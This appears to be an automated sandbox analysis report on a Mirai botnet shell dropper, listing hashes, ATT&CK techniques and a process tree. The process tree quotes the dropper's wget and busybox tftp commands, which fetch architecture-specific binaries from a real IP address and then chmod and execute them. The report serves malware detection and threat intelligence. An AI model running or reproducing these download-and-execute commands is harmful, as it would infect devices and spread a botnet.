mirai | 21bb5cc4f1d06276094476140eef9031cc341138920876d4f3c8fdeca82fe845

Analysis

max time kernel
147s
max time network
146s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20261019-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/11/2026, 06:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sample.sh
Size 1KB
Sample261111-hcftvafa99
SHA256 21bb5cc4f1d06276094476140eef9031cc341138920876d4f3c8fdeca82fe845
MD5 7dcb7e6307cbe55769f3e674792327a5
SHA1 8f3b796a9762a2166342dc8662e82fb10b1b9447
SHA512 2f9a5b4c33cf5316eb190d0bad3a68244859ba2173bf9479ddf946007ccf2c0c4244a0c2c1341edad202578793ab29162470e4d55af4f5b39df5d2805d31b123
TLSH
T146217FE9FEB3D531370C492DF55A067DBBC78E3D09F83946905AAC90561C56C9018B37
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

37.16.74.169

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1567	chmod
1581	chmod
1547	chmod
1562	chmod
1571	chmod
1576	chmod
1533	chmod
1542	chmod
1552	chmod
1557	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/d	1534	sample.sh
/tmp/d	1543	sample.sh
/tmp/d	1548	sample.sh
/tmp/d	1553	sample.sh
/tmp/d	1558	sample.sh
/tmp/d	1563	sample.sh
/tmp/d	1568	sample.sh
/tmp/d	1572	sample.sh
/tmp/d	1577	sample.sh
/tmp/d	1582	sample.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1556	wget
1591	busybox

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/atomic72	d
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget

/tmp/sample.sh
/tmp/sample.sh
1⤵
- Executes dropped EXE
PID:1525
- /bin/rm
  rm -f d atomic72
  2⤵
  PID:1526
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm7
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/d
  ./d
  2⤵
  PID:1534
- /bin/sh
  sh d
  2⤵
  PID:1536
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm6
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/d
  ./d
  2⤵
  PID:1543
- /bin/sh
  sh d
  2⤵
  PID:1545
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/d
  ./d
  2⤵
  PID:1548
- /bin/sh
  sh d
  2⤵
  PID:1550
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm5
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/d
  ./d
  2⤵
  PID:1553
- /bin/sh
  sh d
  2⤵
  PID:1555
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/d
  ./d
  2⤵
  PID:1558
- /bin/sh
  sh d
  2⤵
  PID:1560
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/d
  ./d
  2⤵
  PID:1563
- /bin/sh
  sh d
  2⤵
  PID:1565
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.x86
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/d
  ./d
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/sh
  sh d
  2⤵
  PID:1569
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.ppc
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/d
  ./d
  2⤵
  PID:1572
- /bin/sh
  sh d
  2⤵
  PID:1574
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.sh4
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/d
  ./d
  2⤵
  PID:1577
- /bin/sh
  sh d
  2⤵
  PID:1579
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.m68k
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/d
  ./d
  2⤵
  PID:1582
- /bin/sh
  sh d
  2⤵
  PID:1584
- /bin/busybox
  busybox tftp -g -r dlr.arm7 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/busybox
  busybox tftp -g -r dlr.arm6 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/busybox
  busybox tftp -g -r dlr.arm -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/busybox
  busybox tftp -g -r dlr.arm5 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/busybox
  busybox tftp -g -r dlr.mips -l d 37.16.74.169
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1591
- /bin/busybox
  busybox tftp -g -r dlr.mpsl -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/busybox
  busybox tftp -g -r dlr.x86 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/busybox
  busybox tftp -g -r dlr.ppc -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/busybox
  busybox tftp -g -r dlr.sh4 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/busybox
  busybox tftp -g -r dlr.m68k -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:1596

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

atomic72

Path /tmp/atomic72
Size 490KB
SHA256 f983662a353e4b7d0edd13e6036e18e18e51bba8e280879b2ad32220fbd1d4c1
MD5 e3e00818ee2b5616065921e077d918c1
SHA1 1fb9ffadeeebc75411a7854128eb143697587877
SHA512 72e566c2f1716f59e5a188da2b93b7390f9276a53613418b05733816c735c6dc1c8e5f195ba2f0c59ff0e6adfb786b7ea1122af5b39ae0322b75ee9c3986c91c
SSDEEP 6144:+Sm8+XNt1NG8O0r8qfpD5SWibtt0lzZ2RAFHS9MwCQA+Lka3GmjpXC8vCJS:+P8+XNt1I0oY15STbtiZzwCQAMGJ86S
TLSH
T1EFB49E01EDE7C47AF05241F2581AA7625673DA35202BDA43EFD61825DE70AD2C33A37E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 f73ab4481372d18c1f5e970f9e00fe279052aba155e03baa74b0dde939c6dafd
MD5 2b2ae817f20dcd2d66e08d994a835d4c
SHA1 9587c27f939d96bcf75e449e9eab0a0c194977b7
SHA512 b226db76c8a9a62e351545e67632ca6ecbf32c68e30c2dcf7e4c52bbbed2dacbc8f56783a4ab9da451004eb2b31e18c097415e0d2fea70433b5393e5db990598
TLSH
T1BA31EEE4A2D68D6CC9F542FEBD56031633749F05E182B222D32C67A0AC1ED3DDE1644B
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 5416f377065566983f33f8fc4de424019b0fe6d8f8bbdb53c1d2bc325e185016
MD5 df3e4c8b13915998d75eb5ebb5bb2507
SHA1 e34c0b1307a37f4661f7ba1fdc3efc9a4030030f
SHA512 6a7cd799b6936c37f0d55eabf3774e4220b840d9cbd4cf2d770411fb4693da46d93e3127a36dc736b2d9174697f3d172e492932c5b2895852bb0b8a3e09831f2
TLSH
T16A31F0A0A5D95DBCC8F441BE7D96071473745F44E146B222E218ABA0BC2EE7C9E1B04A
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 cb634f1172d14123f90c140b5fb1a2e0e9f18faabb346fec60e70c8c286a2eca
MD5 b6b3f3ca7214bae8f853fcfc63cd80db
SHA1 9668652705ae96d23900619598d73e699d036d1b
SHA512 88ab92a1b97b12f12315256c0a4cd85f74d6a977a71029210998f21159f7b8ac06e2b3b5b98e9ac0e41f4424ba686f333803e157ae28d30c2cbaf501f9028f43
TLSH
T121211229ABD34D0ACDB407B7EDCB6710A3219F8A855DB613F32107911C6E2241F120D6
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 9ad039700ed8b70de6618c1b5cf3af41f86a328dc636a47d25b37466fc5e2374
MD5 89d04a631589fe092ed43f6a019d685a
SHA1 d4b5aa83830e2ec1fccf246e4e0ae4a630e061be
SHA512 fef70911f5852d1a91d1f88490dc6df4ee38046c05d862703665af6348929977dadd4b95382193d8dd5000e42e7059f301c1ac08764253501538f64d8131296c
TLSH
T11921F02AA7D64D5ACCA507B7DCCB6710A321AF85855EBB17F3251B826C6E2350F12086
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 2KB
SHA256 8856f5aaabb1be0d73757feb386bb63efb29b7cd4662eb0a7bb51331152f9fc3
MD5 b8b06021c7cdbea6f2e2faf8b0f7b855
SHA1 0856bce8ceafe484c18c490c0a201b531338bc32
SHA512 28c9408c0b5420ed6351a3c5bda3a1aea4a7185db969ac8107cc0ca72ba90845a51730eec9d01e1581de6013503b47783ab9f81518464d7158213fd35e2cecfe
TLSH
T19341038D5B315FF8F195E83C8B33073967AA560887D0424AE1BCE5906E9430E449F7EA
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 2KB
SHA256 ce8e10e4d626e07643e9c790231f3b65a8e96062df6b5ba2b5772eb7891bbb9e
MD5 f80bcf630aa752626d7a5fcc731be976
SHA1 bfa5bb1e6a40c2cce010924f1bc72a907171c54a
SHA512 50116f649b711945b2db611a837fdcfb150c9c082c923350c0208c30a2094c008cbfebef8cc54497381060006e1c6f74e710093e9984ee9b1e2fdf791a88ae14
TLSH
T14841440ED35D695FEDBB4178510B03272420AA1BE4634223E7754DBBAD3B294451748F
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads